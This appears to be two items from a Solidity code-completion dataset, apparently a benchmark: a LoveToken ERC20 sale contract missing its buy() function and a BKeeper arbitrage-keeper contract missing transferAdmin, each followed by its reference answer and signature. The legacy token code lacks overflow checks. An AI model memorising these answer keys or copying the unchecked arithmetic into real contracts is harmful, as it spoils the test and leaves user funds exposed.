function transfer(address _to, uint _value) returns (bool success){ if(balances[msg.sender] < _value) return false; balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } //transfer tokens if you have been delegated a wallet function transferFrom(address _from, address _to, uint _value) returns (bool success){ if(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value >= 0 && balances[_to] + _value > balances[_to]){ balances[_from] -= _value; allowed[_from][msg.sender] -= _value; balances[_to] += _value; Transfer(_from, _to, _value); return true; } else{ return false; } } //delegate your wallet to someone, usually to a smart contract function approve(address _spender, uint _value) returns (bool success){ allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } //get allowance that you can spend, from delegated wallet function allowance(address _owner, address _spender) constant returns (uint remaining){ return allowed[_owner][_spender]; } function change_owner(address new_owner){ require(msg.sender == ownerAddress); ownerAddress = new_owner; } function change_dev(address new_dev){ require(msg.sender == devAddress); devAddress = new_dev; } }
contract Love is ERC20Interface { // ERC20 basic variables string public constant symbol = "LOVE"; string public constant name = "LoveToken"; uint8 public constant decimals = 0; uint256 public constant _totalSupply = (10 ** 10); mapping (address => uint) public balances; mapping (address => mapping (address => uint256)) public allowed; mapping (address => uint256) public tokenSaleAmount; uint256 public saleStartEpoch; uint256 public tokenSaleLeft = 7 * (10 ** 9); uint256 public tokenAirdropLeft = 3 * (10 ** 9); uint256 public constant tokenSaleLowerLimit = 10 finney; uint256 public constant tokenSaleUpperLimit = 1 ether; uint256 public constant tokenExchangeRate = (10 ** 8); // 100m LOVE for each ether uint256 public constant devReward = 18; // in percent address private constant saleDepositAddress = 0x6969696969696969696969696969696969696969; address private constant airdropDepositAddress = 0x7474747474747474747474747474747474747474; address public devAddress; address public ownerAddress; // constructor function Love(address _ownerAddress, address _devAddress, uint256 _saleStartEpoch) public { require(_ownerAddress != 0); require(_devAddress != 0); require(_saleStartEpoch > now); balances[saleDepositAddress] = tokenSaleLeft; balances[airdropDepositAddress] = tokenAirdropLeft; ownerAddress = _ownerAddress; devAddress = _devAddress; saleStartEpoch = _saleStartEpoch; } function sendAirdrop(address[] to, uint256[] value) public { require(msg.sender == ownerAddress); require(to.length == value.length); for(uint256 i = 0; i < to.length; i++){ if(tokenAirdropLeft > value[i]){ Transfer(airdropDepositAddress, to[i], value[i]); balances[to[i]] += value[i]; balances[airdropDepositAddress] -= value[i]; tokenAirdropLeft -= value[i]; } else{ Transfer(airdropDepositAddress, to[i], tokenAirdropLeft); balances[to[i]] += tokenAirdropLeft; balances[airdropDepositAddress] -= tokenAirdropLeft; tokenAirdropLeft = 0; break; } } } <FILL_FUNCTION> // fallback function : send request to donate function () payable public { buy(); } // ERC20 FUNCTIONS //get total tokens function totalSupply() constant returns (uint supply){ return _totalSupply; } //get balance of user function balanceOf(address _owner) constant returns (uint balance){ return balances[_owner]; } //transfer tokens function transfer(address _to, uint _value) returns (bool success){ if(balances[msg.sender] < _value) return false; balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } //transfer tokens if you have been delegated a wallet function transferFrom(address _from, address _to, uint _value) returns (bool success){ if(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value >= 0 && balances[_to] + _value > balances[_to]){ balances[_from] -= _value; allowed[_from][msg.sender] -= _value; balances[_to] += _value; Transfer(_from, _to, _value); return true; } else{ return false; } } //delegate your wallet to someone, usually to a smart contract function approve(address _spender, uint _value) returns (bool success){ allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } //get allowance that you can spend, from delegated wallet function allowance(address _owner, address _spender) constant returns (uint remaining){ return allowed[_owner][_spender]; } function change_owner(address new_owner){ require(msg.sender == ownerAddress); ownerAddress = new_owner; } function change_dev(address new_dev){ require(msg.sender == devAddress); devAddress = new_dev; } }
require(tokenSaleLeft > 0); require(msg.value + tokenSaleAmount[msg.sender] <= tokenSaleUpperLimit); require(msg.value >= tokenSaleLowerLimit); require(now >= saleStartEpoch); require(msg.value >= 1 ether / tokenExchangeRate); if(msg.value * tokenExchangeRate / 1 ether > tokenSaleLeft){ Transfer(saleDepositAddress, msg.sender, tokenSaleLeft); uint256 changeAmount = msg.value - tokenSaleLeft * 1 ether / tokenExchangeRate; balances[msg.sender] += tokenSaleLeft; balances[saleDepositAddress] -= tokenSaleLeft; tokenSaleAmount[msg.sender] += msg.value - changeAmount; tokenSaleLeft = 0; msg.sender.transfer(changeAmount); ownerAddress.transfer((msg.value - changeAmount) * (100 - devReward) / 100); devAddress.transfer((msg.value - changeAmount) * devReward / 100); } else{ Transfer(saleDepositAddress, msg.sender, msg.value * tokenExchangeRate / 1 ether); balances[msg.sender] += msg.value * tokenExchangeRate / 1 ether; balances[saleDepositAddress] -= msg.value * tokenExchangeRate / 1 ether; tokenSaleAmount[msg.sender] += msg.value; tokenSaleLeft -= msg.value * tokenExchangeRate / 1 ether; ownerAddress.transfer(msg.value * (100 - devReward) / 100); devAddress.transfer(msg.value * devReward / 100); }
function buy() payable public
function buy() payable public
28621
BKeeper
transferAdmin
contract BKeeper { address public masterCopy; ArbChecker immutable public arbChecker; Arb immutable public arb; uint maxEthQty; // = 1000 ether; uint minQty; // = 1e10; uint minProfitInBps; // = 100; address public admin; address[] public bamms; event KeepOperation(bool succ); constructor(Arb _arb, ArbChecker _arbChecker) public { arbChecker = ArbChecker(_arbChecker); arb = _arb; } function findSmallestQty() public returns(uint, address) { for(uint i = 0 ; i < bamms.length ; i++) { address bamm = bamms[i]; for(uint qty = maxEthQty ; qty > minQty ; qty = qty / 2) { uint minProfit = qty * minProfitInBps / 10000; try arbChecker.checkProfitableArb(qty, minProfit, bamm) { return (qty, bamm); } catch { } } } return (0, address(0)); } function checkUpkeep(bytes calldata /*checkData*/) external returns (bool upkeepNeeded, bytes memory performData) { uint[] memory balances = new uint[](bamms.length); for(uint i = 0 ; i < bamms.length ; i++) { balances[i] = bamms[i].balance; } (uint qty, address bamm) = findSmallestQty(); uint bammBalance; for(uint i = 0 ; i < bamms.length ; i++) { if(bamms[i] == bamm) bammBalance = balances[i]; } upkeepNeeded = qty > 0; performData = abi.encode(qty, bamm, bammBalance); } function performUpkeep(bytes calldata performData) external { (uint qty, address bamm, uint bammBalance) = abi.decode(performData, (uint, address, uint)); require(bammBalance == bamm.balance, "performUpkeep: front runned"); require(qty > 0, "0 qty"); arb.swap(qty, bamm); emit KeepOperation(true); } function performUpkeepSafe(bytes calldata performData) external { try this.performUpkeep(performData) { emit KeepOperation(true); } catch { emit KeepOperation(false); } } receive() external payable {} // admin stuff function transferAdmin(address newAdmin) external {<FILL_FUNCTION_BODY> } function initParams(uint _maxEthQty, uint _minEthQty, uint _minProfit) external { require(admin == address(0), "already init"); maxEthQty = _maxEthQty; minQty = _minEthQty; minProfitInBps = _minProfit; admin = msg.sender; } function setMaxEthQty(uint newVal) external { require(msg.sender == admin, "!admin"); maxEthQty = newVal; } function setMinEthQty(uint newVal) external { require(msg.sender == admin, "!admin"); minQty = newVal; } function setMinProfit(uint newVal) external { require(msg.sender == admin, "!admin"); minProfitInBps = newVal; } function addBamm(address newBamm) external { require(msg.sender == admin, "!admin"); arb.approve(newBamm); bamms.push(newBamm); } function removeBamm(address bamm) external { require(msg.sender == admin, "!admin"); for(uint i = 0 ; i < bamms.length ; i++) { if(bamms[i] == bamm) { bamms[i] = bamms[bamms.length - 1]; bamms.pop(); return; } } revert("bamm does not exist"); } function withdrawEth() external { require(msg.sender == admin, "!admin"); msg.sender.transfer(address(this).balance); } function upgrade(address newMaster) public { require(msg.sender == admin, "!admin"); masterCopy = newMaster; } }
contract BKeeper { address public masterCopy; ArbChecker immutable public arbChecker; Arb immutable public arb; uint maxEthQty; // = 1000 ether; uint minQty; // = 1e10; uint minProfitInBps; // = 100; address public admin; address[] public bamms; event KeepOperation(bool succ); constructor(Arb _arb, ArbChecker _arbChecker) public { arbChecker = ArbChecker(_arbChecker); arb = _arb; } function findSmallestQty() public returns(uint, address) { for(uint i = 0 ; i < bamms.length ; i++) { address bamm = bamms[i]; for(uint qty = maxEthQty ; qty > minQty ; qty = qty / 2) { uint minProfit = qty * minProfitInBps / 10000; try arbChecker.checkProfitableArb(qty, minProfit, bamm) { return (qty, bamm); } catch { } } } return (0, address(0)); } function checkUpkeep(bytes calldata /*checkData*/) external returns (bool upkeepNeeded, bytes memory performData) { uint[] memory balances = new uint[](bamms.length); for(uint i = 0 ; i < bamms.length ; i++) { balances[i] = bamms[i].balance; } (uint qty, address bamm) = findSmallestQty(); uint bammBalance; for(uint i = 0 ; i < bamms.length ; i++) { if(bamms[i] == bamm) bammBalance = balances[i]; } upkeepNeeded = qty > 0; performData = abi.encode(qty, bamm, bammBalance); } function performUpkeep(bytes calldata performData) external { (uint qty, address bamm, uint bammBalance) = abi.decode(performData, (uint, address, uint)); require(bammBalance == bamm.balance, "performUpkeep: front runned"); require(qty > 0, "0 qty"); arb.swap(qty, bamm); emit KeepOperation(true); } function performUpkeepSafe(bytes calldata performData) external { try this.performUpkeep(performData) { emit KeepOperation(true); } catch { emit KeepOperation(false); } } receive() external payable {} <FILL_FUNCTION> function initParams(uint _maxEthQty, uint _minEthQty, uint _minProfit) external { require(admin == address(0), "already init"); maxEthQty = _maxEthQty; minQty = _minEthQty; minProfitInBps = _minProfit; admin = msg.sender; } function setMaxEthQty(uint newVal) external { require(msg.sender == admin, "!admin"); maxEthQty = newVal; } function setMinEthQty(uint newVal) external { require(msg.sender == admin, "!admin"); minQty = newVal; } function setMinProfit(uint newVal) external { require(msg.sender == admin, "!admin"); minProfitInBps = newVal; } function addBamm(address newBamm) external { require(msg.sender == admin, "!admin"); arb.approve(newBamm); bamms.push(newBamm); } function removeBamm(address bamm) external { require(msg.sender == admin, "!admin"); for(uint i = 0 ; i < bamms.length ; i++) { if(bamms[i] == bamm) { bamms[i] = bamms[bamms.length - 1]; bamms.pop(); return; } } revert("bamm does not exist"); } function withdrawEth() external { require(msg.sender == admin, "!admin"); msg.sender.transfer(address(this).balance); } function upgrade(address newMaster) public { require(msg.sender == admin, "!admin"); masterCopy = newMaster; } }
require(msg.sender == admin, "!admin"); admin = newAdmin;
function transferAdmin(address newAdmin) external
// admin stuff function transferAdmin(address newAdmin) external